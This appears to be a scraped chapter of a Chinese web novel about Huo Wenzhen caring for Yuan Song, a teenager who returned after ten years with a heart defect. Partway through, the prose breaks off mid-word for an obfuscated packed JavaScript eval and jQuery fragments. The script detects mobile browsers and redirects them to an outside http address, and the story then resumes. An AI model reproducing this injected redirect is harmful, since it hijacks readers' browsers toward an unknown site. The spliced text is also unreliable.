霍闻臻深呼吸一口气,才说:“元颂,不要让我在你嘴巴里听见那个字。“

    他说这话的时候,眉骨压着,黑眸灼灼压迫感极强。

    这是他真的要生气的前兆。

    元颂抿了一下唇,在心里悄悄吐槽十年后的霍闻臻简直是个超级敏感肌,“好好好不说就不说,我爸都没这样打过我......你先把我放下来,我自己能走路。”

    霍闻臻没说什么,沉着气将他放下:“报告说,你心脏上有一个小洞。”

    元颂睁大眼睛,下意识摸了摸自己心口,心脏扑通扑通地跳动着,感到有些不可置信:”确定不是报告误诊了吗?我没什么感觉哎,除了有时候胸闷气喘。“

    电梯门打开,霍闻臻牵着他往车库走,心里不停回想起在医院办公室里和陈绥的对话。

    “房间隔缺损,也就是俗称的先天性心脏病。患者的缺损直径并不算大,但……位置不好,靠近上腔静脉入口。简单来说就是这个洞长在了不太方便修补的地方,手术难度比普通ASD要高一些。”

    “而且从过往病史来看,患者有哮喘,加上心肺功能储备不足,现在上全麻风险高,手术中一旦诱发哮喘,会比普通患者凶险得多。”

    陈绥是霍闻臻曾经的主刀医生。

    几年前霍闻臻意外中枪,子弹打进胸腔,距离心脏只有几毫米,送过来时血压掉到五十,整个人接近休克。

    整个海城找不出第二个比陈绥更专业的心外科医生,所以他相信他的判断。

    目前陈绥不建议元颂做手术。

    等基础指标上去之后再评估手术时机。快的话几个月时间,慢的……

    慢的也不好说,最怕期间有什么意外。

    霍闻臻神色绷紧,太阳穴一突一突的跳,连带着眼眶都在发胀。

    不知怎的,元颂觉得霍闻臻牵着自己的手越来越紧,轻轻叫了他好几声,也没反应。

    “霍闻臻——”少年加大音量,同时用力拽了一下他的手。

    霍闻臻终于停下脚步,意识像是刚从很遥远的地方被拽回来,眼神渐渐聚焦,额前竟然冒了一层细细密密的汗珠。

    元颂小脸严肃:“你怎么了?我叫你好几声了。”

    说真的,霍闻臻这个表情,好像下一秒要给自己奔丧。

    但是他不敢说,因为屁股还疼着。

    等上了车,元颂还在追问:“心脏有个洞,然后呢,医生怎么说?”

    “嗯。”霍闻臻语气平常,像是在努力降低这件事的可怕性,“先养养身体,到时候可能要做一个小手术......”

    “就这样?”少年音调拔高,显然是不太相信。他刚才明明离开了很久,只是小问题需要谈这么久吗?

    “霍闻臻你看着我的眼睛说。”

    “就这样。”霍闻臻深深地和他对视,神色前所未有的专注:“你只要好好吃饭睡觉,按时吃药就会一定会没事。”

    他不会让十年前的事情重演。

    因为有些错误,犯一次就足够致命了。

    这些年,只要一闭上眼睛就会看见元颂躺在那里毫无生机、再也醒不过来的画面。他像个溺水的人,浑身骨缝都发冷发疼。

    元颂被他看得有些发怔,忽然想到什么:“霍闻臻,是不是十年前我发生了什么事情呀?”

    总感觉他看自己的眼神特别深,像是藏了很多难言的思绪。

    这十年对元颂来说只是睡了一觉。对霍闻臻、对爸妈、曾经的朋友而言,却是实打实流逝的日夜。自己消失了这么久,回来还是十七岁的样子,换谁谁不觉得奇怪。

    霍闻臻眉头微皱:“你醒来之前的记忆,还有吗?”

    元颂认真回想了一下。

    他摇摇头:“没有,只记得在家里睡觉一睁眼就在这里了。感觉脑子里像糊了一堵墙,硬想的话就会头疼。“

    刚说着,他就痛苦地嘶了一声,眉头拧成一团。

    霍闻臻捉住他的手腕,语气不容辩驳:“好了,不许再想了。”

    “不想了不想了。”元颂皱了皱鼻子,索性整个人往霍闻臻身上一躺,脑袋枕上他的大腿,指了指自己眉心理直气壮道:“霍闻臻我头痛,你给我按一下,这里特别疼。”

    这是他小时候就养成的习惯。

    小时候元颂每次做作业久了,或者遇到不懂的的题目就会这样。年少时的霍闻臻一贯是少言的个性,但是对他格外纵容。就连元颂妈妈也会看不下去,倒是霍闻臻外婆笑眯眯的,说他们俩一个愿打一个愿挨

    前排司机从后视镜里看见这一幕,忍不住偷偷掐了一把自己的大腿。他为霍家开了几年车,见惯了霍总冷峻疏离的模样,什么时候见过他伺候别人?

    此刻的霍闻臻正低着头,修长的手指轻轻按在少年的额头上。

    “用力啊霍闻臻,你是不是没吃饭?”元颂又嘟囔了一句,声音带了点懒洋洋的睡意。

    霍闻臻加了些力道,指腹在眉心缓缓打圈,真用力了少年又哼哼叫。

    “到底是重还是轻?”

    海城声名赫赫的霍总,被一个少年指挥得团团转,却一点不耐烦也没有。

    元颂闭着眼睛指挥:“刚才那下太重了,现在刚好,你别动。往左边去一点……不对,再往右……唔......就是这里。”

    霍闻臻垂眸,望着眼睫半阖的少年,眉宇间竟都是温柔:“好点了吗?”

    元颂像只小猫咪一样舒服地叹了口气,心里竟然有点小庆幸,喃喃道:“霍闻臻,还好我找到了你.......”

    不然想想一个人在十年后的世界里,其实挺可怕的。他不确定有没有人记得自己,也不知道自己该去哪里......

    霍闻臻就像他在这个世界里的一个支点,确定自己真实存在过。

    “嗯,还好。”

    霍闻臻眸似深海,落在少年耳垂鲜红的小痣上,指尖不自觉地轻揉。

    还好只是十年,他等得起。

    ......

    阿姨听说元颂一大早出

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506455|202127||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    门做了很多检查,晚上特意做了一桌子好吃的。

    元颂午觉睡醒闻到香味,眼睛都亮了,围着阿姨转来转去非要搭把手。

    阿姨是万不敢使唤元颂的,柔声推拒了好几次,后来看见霍先生在旁边没说什么,就把摆碗筷的任务交给了他。

    元颂蹲下来开橱柜找碗碟,嘴里还念叨着“这个好不好看”“那个配什么菜”。阿姨看他忙得认真,忍不住笑,也没忍心告诉他橱柜最下面那层抽屉里就有配好的成套餐具。

    等到终于摆好了,还要拉着阿姨过来欣赏他的杰作。

    元颂从小就是那种很讨长辈喜欢的小孩。

    长得乖,一双狐狸眼看人的时候总像含着笑,嘴巴又甜。

    虽然从小被家里和霍闻臻惯着长大,娇气是真娇气。像个瓷娃娃一样,动不动就生病,可身边的人都愿意迁就他。

    有时候什么都不用做,光看着就让人觉得心里软乎乎的。

    饭菜摆了满满一桌。

    阿姨简单收拾了厨房,看了一眼餐桌旁静静吃饭的两个人,悄悄退下了。

    餐厅暖黄的灯光,落在少年白皙的脸上,像个小天使似的浑身镀了一层柔和的光。

    看起来吃得挺香,碗里的青菜一口没动,偷偷拨到了碗边垒成一座小山。

    像所有大多数挑食的小孩一样,元颂最讨厌吃绿色蔬菜。昨天饿坏了没顾上挑食,今天就开始故态复萌了。

    霍闻臻放下筷子,“元颂。”

    “嗯?”少年顺着他的目光看到自己碗里的罪证,眨巴眨巴眼,试图蒙混过关:“我留到最后吃的。”

    “你哪次留到最后吃了?”

    “这次真的会吃。”

    “那你现在吃。”

    元颂用筷子挑起一根菜叶,皱了皱鼻子,“霍闻臻,这个茼蒿菜有味道,我不喜欢吃,今天可不可以不吃?”

    霍闻臻看着他,一脸铁面无私:“不行。”

    元颂想起他以前没收自己零食的模样,不禁吐槽:“霍闻臻你都做大老板了,怎么还管我这鸡毛蒜皮的事儿?”

    说实在的,这两天也没见他去工作,净盯着自己了。

    见霍闻臻不为所动,元颂索性放下筷子,开始卖惨。

    “今天不还说我的心脏不好嘛。”少年垂下眼,睫毛委屈地一颤一颤,戏很足:“医生肯定说过要好好养,不能生气,不能情绪波动。你一凶我我就紧张,一紧张我心跳就快,心跳快了对心脏更不好了……”

    他偷偷抬起眼皮瞄了一眼,霍闻臻果然渐渐皱起了眉头,似是在衡量。

    元颂心里有了底,继续加戏:“而且我的胃口就这么大,吃了不爱吃的就吃不下爱吃的,吃不下爱吃的就更瘦,更瘦身体就更差,身体更差说不定就......”

    “好了。”霍闻臻越听越心慌,拿着筷子的手有些抖,“不想吃就不吃,明天让阿姨给你做别的菜。”

    元颂差点没忍住笑,使劲抿着嘴,乖乖“嗯”了一声,低头扒了一大口饭。